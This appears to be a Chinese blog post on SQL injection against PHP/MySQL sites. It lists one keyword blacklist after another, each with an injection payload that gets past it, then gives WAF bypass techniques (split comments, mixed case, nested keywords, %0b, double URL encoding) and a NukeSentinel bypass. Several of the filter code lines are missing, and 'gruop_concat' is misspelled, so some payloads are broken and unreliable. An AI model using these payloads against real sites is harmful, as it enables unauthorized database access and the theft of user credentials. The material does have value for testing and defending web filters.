PHP_Mysql注入防护与绕过

黑名单关键字过滤与绕过

过滤关键字and、or

PHP匹配函数代码如下：

preg_match('/(and|or)/i', $id)

如何Bypass，过滤注入测试语句：

1 or 1 = 1 1 and 1 = 1

测试方法可以替换为如下语句测试：

1 || 1 = 1 1 && 1 = 1

过滤关键字and, or, union

PHP匹配函数代码如下：

preg_match('/(and|or|union)/i', $id)

如何Bypass，过滤注入测试语句：

union select user, password from users

测试方法可以替换为如下语句测试：

1 || (select user from users where user_id = 1) = 'admin'

过滤关键字and, or, union，where

PHP匹配函数代码如下：

preg_match('/(and|or|union|where)/i', $id)

如何Bypass，过滤注入测试语句：

1 || (select user from users where user_id = 1) = 'admin'

测试方法可以替换为如下语句测试：

1 || (select user from users limit 1) = 'admin'

过滤关键字and, or, union，where，limit

PHP匹配函数代码如下：

preg_match('/(and|or|union|where|limit)/i', $id)

如何Bypass，过滤注入测试语句：

1 || (select user from users limit 1) = 'admin'

测试方法可以替换为如下语句测试：

1 || (select user from users group by user_id having user_id = 1) = 'admin'

过滤关键字and, or, union，where，limit，group by

PHP匹配函数代码如下：

如何Bypass，过滤注入测试语句：

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试：

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union，where，limit，group by

PHP匹配函数代码如下：

如何Bypass，过滤注入测试语句：

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试：

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union，where，limit，group by，select

PHP匹配函数代码如下：

如何Bypass，过滤注入测试语句：

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试：

1 || 1 = 1 into outfile 'result.txt'

1 || substr(user,1,1) = 'a'

过滤关键字and, or, union，where，limit，group by，select，'

PHP匹配函数代码如下：

如何Bypass，过滤注入测试语句：

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试：

1 || user_id is not null

1 || substr(user,1,1) = 0x61

1 || substr(user,1,1) = unhex(61)

过滤关键字and, or, union，where，limit，group by，select，'，hex

PHP匹配函数代码如下：

如何Bypass，过滤注入测试语句：

1 || substr(user,1,1) = unhex(61)

测试方法可以替换为如下语句测试：

1 || substr(user,1,1) = lower(conv(11,10,36))

过滤关键字and, or, union，where，limit，group by，select，'，hex，substr

PHP匹配函数代码如下：

如何Bypass，过滤注入测试语句：

1 || substr(user,1,1) = lower(conv(11,10,36))

测试方法可以替换为如下语句测试：

1 || lpad(user,7,1)

过滤关键字and, or, union，where，limit，group by，select，'，hex, substr, white space

PHP匹配函数代码如下：

如何Bypass，过滤注入测试语句：

1 || lpad(user,7,1)

测试方法可以替换为如下语句测试：

1%0b||%0blpad(user,7,1)

部分WAF绕过技巧

1、绕过部分WAF

/news.php?id=1+un/**/ion+se/\**/lect+1,2,3--

2、匹配正则如下：

/union\sselect/g

绕过方式：

/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

3、过滤一次关键字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

4、关键字被过滤，有的时候可以用%0b插入关键字绕过

/news.php?id=1+uni%0bon+se%0blect+1,2,3--

5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

替换前：

/main/news/id/1//||//lpad(first_name,7,1).html

替换后：

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多数的CMS和WAF会对用户输入进行解码然后过滤，但有些只解码一次，我们可以对payload进行多次编码然后测试

/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

真实的例子

NukeSentinel

Nukesentinel.php的代码如下：

针对上面的防护，使用如下测试语句将被拦截：

/php-nuke/?/**/union/**/select…

可以使用如下语句代替：

/php-nuke/?/%2A%2A/union/%2A%2A/select…

/php-nuke/?%2f**%2funion%2f**%2fselect…

PHP_Mysql注入防护与绕过相关推荐

php_mysql注入load_file()IIS配置文件获取
php_mysql注入load_file()IIS配置文件获取先看一个注入点: http://www. .cn/news_detail.php?newsid=-1+union+select+1,2, ...
sql 注入防护与xss攻击防护
[sql注入防护] 1.过滤关键字限制mysql关键字以输入的形式注入sql,防止恶意代码对数据库产生破坏 2.控制输入字符长度防止输入以16进制码注入,以长度限制,补充过滤关键字的漏洞 3.关闭 ...
SQL注入和WAF绕过总结姿势
自己复习专用,大佬勿喷文章目录前言一.注入手法联合注入报错注入布尔盲注延时注入堆叠注入二.绕过姿势绕过空格注释符括号引号绕过(使用十六进制) 逗号绕过(使用from或者off ...
SQL注入之MySQL注入姿势及绕过
SQL注入之MySQL注入姿势及绕过参考链接: https://xz.aliyun.com/t/10594 感受 1. 写的详细,并且绕过姿势也很多,大佬级人物 2. 在网上发现类似的文章,感觉这就 ...
怎么绕过PHP的防护,绕过某CDN的防注入简单技巧(绕过360webscan)
昨天几个朋友聊到了某个cms里用的360webscan脚本,问我怎么绕过.其实之前一直没有研究过正则的绕过,当然这次也不是正则的绕过,但最终目的是达到了,全面绕过了360webscan对于注入与xss ...
key php 转小写_PHP代码层防护与绕过
0x01 前言在一些网站通常会在公用文件引入全局防护代码进行SQL注入.XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的. 这里讨论一下关键字过滤不完善及常见正则匹配存在的问题, ...
sql注入空格被过滤_网站渗透：SQL注入与WAF绕过思路分享
一.前言这个注入是之前做测试时发现的,但是测试的时候发现有防护,但是想想这么个小网站都绕不过,实在不应该啊.开始补充学习各种场景.各种waf绕过姿势,勉勉强强的成功执行我构造的SQL的语句.趁着还有 ...
怎么绕过PHP的防护,PHP代码层防护与绕过
0x01 前言在一些网站通常会在公用文件引入全局防护代码进行SQL注入.XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的. 这里讨论一下关键字过滤不完善及常见正则匹配存在的问题, ...
mysql联合查询注入防护,SQL注入之BypassWaf
0x00 前言无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被"漏掉"的地方. 最近在研究过waf的技巧,期间还是很有趣的 ...

PHP_Mysql注入防护与绕过

PHP_Mysql注入防护与绕过相关推荐

最新文章

热门文章